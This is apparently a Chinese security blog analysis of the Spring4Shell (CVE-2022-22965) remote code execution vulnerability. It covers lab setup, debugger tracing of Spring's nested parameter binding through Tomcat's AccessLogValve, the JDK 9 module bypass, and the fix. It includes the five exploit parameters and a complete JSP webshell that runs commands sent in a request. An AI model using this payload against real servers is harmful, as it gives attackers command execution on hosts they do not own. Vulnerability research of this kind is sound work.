最近想学习学习spring框架方面的漏洞。刚好今年上半年爆了一个spring框架的远程命令执行漏洞,随即赶紧来分析一波
这个漏洞总的来说是因为:通过spring参数绑定处存在的缺陷使得可以修改tomcat的日志记录相关类AccessLogValve的成员变量从而达到修改tomcat日志记录的配置,最终导致写入jsp马
jdk 9.0.4
tomcat 8.5.27(8.5.79漏洞测试失败)
spring-beans 5.3.17
spring-boot 2.7.1(内置为spring mvc 5.3.21)
首先需要将源码打包成war
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NAXFO5fO-1660473500002)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814105600737.png)]
此时会在target目录下生成项目的war包
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UhyyTnl6-1660473500003)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814105730032.png)]](https://1000bd.com/contentImg/2022/08/17/150132671.png)
将其放置在tomcat/webapps/下面
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mRZdBV2Y-1660473500003)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814105807946.png)]](https://1000bd.com/contentImg/2022/08/17/150132816.png)
点击setart.bat启动tomcat此时就会生成对应的目录
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UMKdjXSw-1660473500003)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814105851999.png)]](https://1000bd.com/contentImg/2022/08/17/150132927.png)
修改目录名为ROOT使该项目运行在根路径下面
访问项目,正常运行
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yBGkWFEE-1660473500004)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814105934734.png)]](https://1000bd.com/contentImg/2022/08/17/150133044.png)
此时我们需要用idea调试war包,怎么做呢
首先给tomcat/bin/catalina.bat前面添加如下代码
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NlKruobX-1660473500004)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814110109801.png)]](https://1000bd.com/contentImg/2022/08/17/150133200.png)
PS: 此处端口号一定要和idea中配置的端口号一致
启动tomcat
在源码处打开IDEA,点击配置,添加一个remote jvm debug,配置如下,必须与catalina.bat中配置的端口号相同
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YX2Q6v5V-1660473500004)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814110223069.png)]](https://1000bd.com/contentImg/2022/08/17/150133407.png)
点击debug,当出现如下显示则说明远程调试搭建成功
在这里打上断点
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-sRSUkqNk-1660473500005)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814110350901.png)]](https://1000bd.com/contentImg/2022/08/17/150133642.png)
访问/test?username=aaa时成功debug
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-n18tBv42-1660473500005)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814110435012.png)]](https://1000bd.com/contentImg/2022/08/17/150133895.png)
参考:https://blog.csdn.net/qq_38217294/article/details/121769266
我们需要传入五个参数分别达到修改日志的目录、前缀、后缀、日期格式(即文件名前缀后面那部分)和日志格式
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
class.module.classLoader.resources.context.parent.pipeline.first.pattern=此处为webshell内容
发送带有webshell的请求,此处使用header头是因为%>这种的字符放在请求参数中可能存在bug
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pKIaYzdJ-1660473500006)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814161726760.png)]](https://1000bd.com/contentImg/2022/08/17/150134111.png)
其中class.module.classLoader.resources.context.parent.pipeline.first.pattern的值为%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i
PS:AccessLogValve输出的日志中可以通过形如%{xxx}i等形式直接引用HTTP请求和响应中的内容
最终会在网站根目录webapps/ROOT下写入tomcatwar.jsp
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rcDsCIcQ-1660473500006)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814162212383.png)]](https://1000bd.com/contentImg/2022/08/17/150134288.png)
访问/tomcatwar.jsp?pwd=j&cmd=whoami,成功getshell
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1es8JGOQ-1660473500006)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814162403318.png)]](https://1000bd.com/contentImg/2022/08/17/150134490.png)
POC:
https://github.com/BobTheShoplifter/Spring4Shell-POC/blob/0c557e85ba903c7ad6f50c0306f6c8271736c35e/poc.py
spring从http请求中自动解析变量,并赋值给user对象,这就是Spring的参数绑定
参数绑定支持多层嵌套,比如请求参数名为a.b.c.d时,则有以下的调用链:
User.geta()
a.getb()
b.getc()
c.setd()
具体spring是如何进行参数绑定的可以跟一下这篇文章,写的很详细
https://blog.ninefiger.top/2022/04/02/Spring%20Framework%20RCE%E5%88%86%E6%9E%90/
这里我大概讲一下
首先说一下入口,tomcat处理好request对象后交给spring的DispatcherServlet#doDispatch方法
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ryOKndzw-1660473500007)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814163709086.png)]](https://1000bd.com/contentImg/2022/08/17/150134721.png)
跟入ha.handle,这里一路跟下去到dobind开始讲解,中间的部分可以参考https://blog.ninefiger.top/2022/04/02/Spring%20Framework%20RCE%E5%88%86%E6%9E%90/
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7jlTtFEZ-1660473500007)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814163441050.png)]](https://1000bd.com/contentImg/2022/08/17/150135210.png)
来到doBind后可以看到mpvs中包含了请求的参数
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-o6HdE7UC-1660473500007)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814163818603.png)]](https://1000bd.com/contentImg/2022/08/17/150135446.png)
跟进后,可以看到applyPropertyValues,大概能猜到在这里进行参数的赋值
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5eLr7Mf7-1660473500008)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814163942969.png)]](https://1000bd.com/contentImg/2022/08/17/150135737.png)
跟进applyPropertyValues,可以看到this.getPropertyAccessor()是User的包装类,然后调用setPropertyValues给User赋值
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lMBA9zhi-1660473500008)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814164043634.png)]](https://1000bd.com/contentImg/2022/08/17/150135966.png)
跟进setPropertyValues,可以看到对propertyValues进行遍历(这里的propertyValues就是之前那个mpvs),对每一个PropertyValue进行参数绑定
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qzFPGGac-1660473500008)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814164404935.png)]](https://1000bd.com/contentImg/2022/08/17/150136176.png)
跟入setPropertyValue,这个函数非常关键,这个getPropertyAccessorForPropertyPath就是获取参数key表示的最终包装类。
比如参数key为class.module.classLoader.resources.context.parent.pipeline.first.directory。则这里的nestPa就是getfirst()返回值即Accesslogvalve的包装类,然后调用其setPropertyValue给directory赋值
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mMOvHapO-1660473500008)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814165844794.png)]](https://1000bd.com/contentImg/2022/08/17/150136425.png)
这里我们跟进getPropertyAccessorForPropertyPath看看它到底是怎么做的,此时传入的propertyName为class.module.classLoader.resources.context.parent.pipeline.first.directory
这里也可以参考麦兜师傅的文章:https://paper.seebug.org/1877/#_3
getPropertyAccessorForPropertyPath(String):该方法通过递归调用自身,实现对class.module.classLoader.resources.context.parent.pipeline.first.pattern的递归解析,设置整个调用链。
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-H11JmrSv-1660473500008)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814170303836.png)]](https://1000bd.com/contentImg/2022/08/17/150136974.png)
跟进后,首先计算第一个.出现的位置,这里计算出来是5,然后按点分割。此时nestedProperty为class,nestedPath为module.classLoader.resources.context.parent.pipeline.first.directory。注意这里的this为user的包装类
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-t3C7X5YL-1660473500009)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814170449168.png)]](https://1000bd.com/contentImg/2022/08/17/150137422.png)
然后在getNestedPropertyAccessor方法,这个方法会返回class的包装类,跟进去看一下
跟进getPropertyValue,其中tokens在是nestedProperty的格式化效验,也就是参数中的id
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qzMog2FK-1660473500009)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814171105167.png)]](https://1000bd.com/contentImg/2022/08/17/150137643.png)
跟进getLocalPropertyHandler
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UmZLhooI-1660473500009)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814171137624.png)]](https://1000bd.com/contentImg/2022/08/17/150137922.png)
this为user的包装类,这里可以理解为获取user类的class成员变量的属性描述器,里面有属性的get/set方法,可以对该属性进行一些修改操作
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bX9d43Ts-1660473500009)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814171507852.png)]](https://1000bd.com/contentImg/2022/08/17/150138315.png)
然后对其包装一下并返回给ph,回到上层来到ph.getValue
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UUC3NeA1-1660473500009)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814171628865.png)]](https://1000bd.com/contentImg/2022/08/17/150138542.png)
跟入getValue,来到了最后的地方了。class的包装类获取自己的get函数然后反射调用从而达到获取class对象
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yORfIHnI-1660473500010)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814171922247.png)]](https://1000bd.com/contentImg/2022/08/17/150138786.png)
回到上一层,此时我们有了class对象了,然后return回去
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8xp8BpA8-1660473500010)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814172408365.png)]](https://1000bd.com/contentImg/2022/08/17/150139833.png)
回到上一层,给class对象包装一下继续返回
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wv3eFYbr-1660473500010)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814172516287.png)]](https://1000bd.com/contentImg/2022/08/17/150140013.png)
回到了刚开始的地方,这里的nestedPa就是class对象的包装类。然后调用nestedPa.getPropertyAccessorForPropertyPath,再次进入该函数,但是此时this就变成了class对象的包装类而不是user对象了。寻找下一个点然后分割字符串
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TyeN36qj-1660473500010)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814172655423.png)]](https://1000bd.com/contentImg/2022/08/17/150140229.png)
此时getNestedPropertyAccessor就是为了获取module的包装类了,和上面的步骤一样先获取class中module的属性描述符然后从中拿到module的getter方法,反射调用getter最终获得module对象然后包装一下返回给nestedPa。可以看到nestedPa是module的包装类
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cdK0VCYw-1660473500010)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814172758920.png)]](https://1000bd.com/contentImg/2022/08/17/150140411.png)
再调用getPropertyAccessorForPropertyPath方法,就获取到了classloder的包装类。
注意这里的classloader实际上是parallelwebappclassloader,只有在war包部署的情况下才会返回的是parallelwebappclassloader
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eTHtFAf6-1660473500011)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814173014425.png)]](https://1000bd.com/contentImg/2022/08/17/150140622.png)
这里也是跳向tomcat的关键,module对象是java.lang包下的,而parallelwebappclassloader是tomcat-embed-core包下的。实现了从spring跳向了tomcat,接下来就是一步步获取tomcat内置的Accesslogvalve类
class.module.classLoader.resources.context.parent.pipeline.first.directory
我们现在走到了classloder这一步,接下来继续调用getPropertyAccessorForPropertyPath获取resource,this.getNestedPropertyAccessor也就是执行parallelwebappclassloader#getresources
可以看到拿到了standroot的包装类
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-iZRhhG1R-1660473500011)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814173835727.png)]](https://1000bd.com/contentImg/2022/08/17/150140852.png)
继续getPropertyAccessorForPropertyPath,等同于standroot#getcontext,获得standcontext的包装类
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MpvzZ84x-1660473500011)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814173921447.png)]](https://1000bd.com/contentImg/2022/08/17/150141060.png)
继续getPropertyAccessorForPropertyPath,等同于standcontext#getparent,获得standHost的包装类
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ql2wK5uW-1660473500011)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814174024861.png)]](https://1000bd.com/contentImg/2022/08/17/150141325.png)
继续getPropertyAccessorForPropertyPath,等同于standHost#getpipeline,获得standpipeline的包装类
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Ook3zpQ7-1660473500012)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814174120832.png)]](https://1000bd.com/contentImg/2022/08/17/150141543.png)
继续getPropertyAccessorForPropertyPath,等同于standpipeline#getfirst,终于拿到了Accesslogvalve的包装类
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6cQ4gl6k-1660473500012)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814174210103.png)]](https://1000bd.com/contentImg/2022/08/17/150141798.png)
继续getPropertyAccessorForPropertyPath,因为字符串已经没点了,所以进入else分支返回Accesslogvalve的包装类
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yj9aVWLO-1660473500012)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814174338743.png)]](https://1000bd.com/contentImg/2022/08/17/150141979.png)
一路返回回去,回到setPropertyValue,此时nestedPa就是Accesslogvalve的包装类
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HUBYrViN-1660473500012)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814174538322.png)]](https://1000bd.com/contentImg/2022/08/17/150142255.png)
此时利用Accesslogvalve包装类的setPropertyValue赋值
其中pv如下,这样就使得Accesslogvalve对象的directory值变为了webapps/ROOT
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-56gPElab-1660473500012)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814174631395.png)]](https://1000bd.com/contentImg/2022/08/17/150202904.png)
同样的发送class.module.classLoader.resources.context.parent.pipeline.first.pattern = %{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i时就会让Accesslogvalve对象的pattern值变为参数的value,其中%{c2}i 会从header中取出对应的并替换这里
class.module.classLoader.resources.context.parent.pipeline.first.pattern=此处为webshell内容
按照上述调试方法,依次调试完所有的递归轮次并观察相应的变量,最终可以得到如下完整的调用链:
User.getClass() //Class
java.lang.Class.getModule() //module
java.lang.Module.getClassLoader() //parallelwebappclassloader
org.apache.catalina.loader.ParallelWebappClassLoader.getResources() //standRoot
org.apache.catalina.webresources.StandardRoot.getContext() //standContext
org.apache.catalina.core.StandardContext.getParent() //standHost
org.apache.catalina.core.StandardHost.getPipeline() //standPipeline
org.apache.catalina.core.StandardPipeline.getFirst() //AccessLogValve
org.apache.catalina.valves.AccessLogValve.setPattern()
正如漏洞利用那块所说
我们需要传入五个参数分别达到修改日志的目录、前缀、后缀、日期格式(即文件名前缀后面那部分)和日志格式
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
class.module.classLoader.resources.context.parent.pipeline.first.pattern=此处为webshell内容
这样就可以使得tomcat的日志输出内容为我们定制的webshell并且日志后缀为jsp并且文件名为tomcatwar并且保存在网站根目录下
必须要是以war包的部署方式
ParallelWebappClassLoader在Web应用以war包部署到Tomcat中时使用到。现在很大部分公司会使用SpringBoot可执行jar包的方式运行Web应用,在这种方式下,我们看下classLoader嵌套参数被解析为什么,如下图:
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XC0y5JQn-1660473500013)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814175933456.png)]](https://1000bd.com/contentImg/2022/08/17/150203201.png)
这个并不是我们想要的classloder,其没有getResources方法
必须得是jdk 9以上的版本,因为在jdk9以下的版本中Class并没有module属性。从而无法获取classloder对象
但是还可以通过class.getclassloder获取classloder对象呀,为什么要用class.module.classloder而不用class.classloder呢?
因为在spring做了安全保护,不允许获得class的classloder属性描述器,从而就无法反射调用getclassloder获取classloder对象
在JDK 1.9之后,Java为了支持模块化,在java.lang.Class中增加了module属性和对应的getModule()方法,自然就能通过如下调用链绕过判断:
user.getClass()
java.lang.Class.getModule()
java.lang.Module.getClassLoader() // 绕过
BarClassLoader.getBaz()
......
这块麦兜师傅说的很清楚了:https://paper.seebug.org/1877/#_4
可以看到在获取对象的属性描述符时更改了判断逻辑。现在是获取Class对象的属性描述器时只能获取到name和以Name结尾的属性的属性描述器了,所以说就获取不到module的属性描述器了,从而无法getmodule。利用java.lang.Class.getModule()的路子就走不通了。
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-J0GT6BHo-1660473500013)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814181407764.png)]](https://1000bd.com/contentImg/2022/08/17/150203360.png)
将ParallelWebappClassLoader父类WebappClassLoaderBase的getResource方法修改为直接返回null
堵住了class.module.classLoader.resources
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PoYJeOo1-1660473500013)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814181721359.png)]](https://1000bd.com/contentImg/2022/08/17/150203514.png)
总的来说就是spring在进行参数绑定时支持嵌套绑定,使得形如class.module.classLoader.resources.context.parent.pipeline.first.pattern这样的参数可以穿越修改AccessLogvlave的pattern属性,从而导致tomcat的日志配置被修改。通过该方式修改日志的内容以及文件名达到写马的目的
举个例子:对于class.module.classLoader.resources.context.parent.pipeline.first.pattern = xxxx
在getPropertyAccessorForPropertyPath中可以理解为首先从user中获取class的属性描述器,然后从属性描述器中获取getclass方法然后反射调用user#getclass获取class对象。然后从class中获取module的属性描述器,然后从属性描述器中获取getmodule方法然后反射调用class#getmodule获取module对象。然后从module中获取classLoader的属性描述器,然后从属性描述器中获取getclassLoader方法然后反射调用module#getclassLoader获取classLoader对象。。。。。。。。。。最终反射调用standpipeline#getfirst获取AccessLog对象
然后调用AccessLog对象包装类的setPropertyValue方法设置AccessLog.pattern的值为xxxx
https://paper.seebug.org/1877
https://blog.ninefiger.top/2022/04/02/Spring%20Framework%20RCE%E5%88%86%E6%9E%90/
https://www.kingkk.com/2022/04/CVE-2022-22965-SpringFramework-%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
https://www.anquanke.com/post/id/272149
https://tttang.com/archive/1532/
https://tomcat.apache.org/tomcat-9.0-doc/config/valve.html#Access_Logging
https://johnfrod.top/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%A4%8D%E7%8E%B0/spring-beans-rce%EF%BC%88cve-2022-22965%EF%BC%89/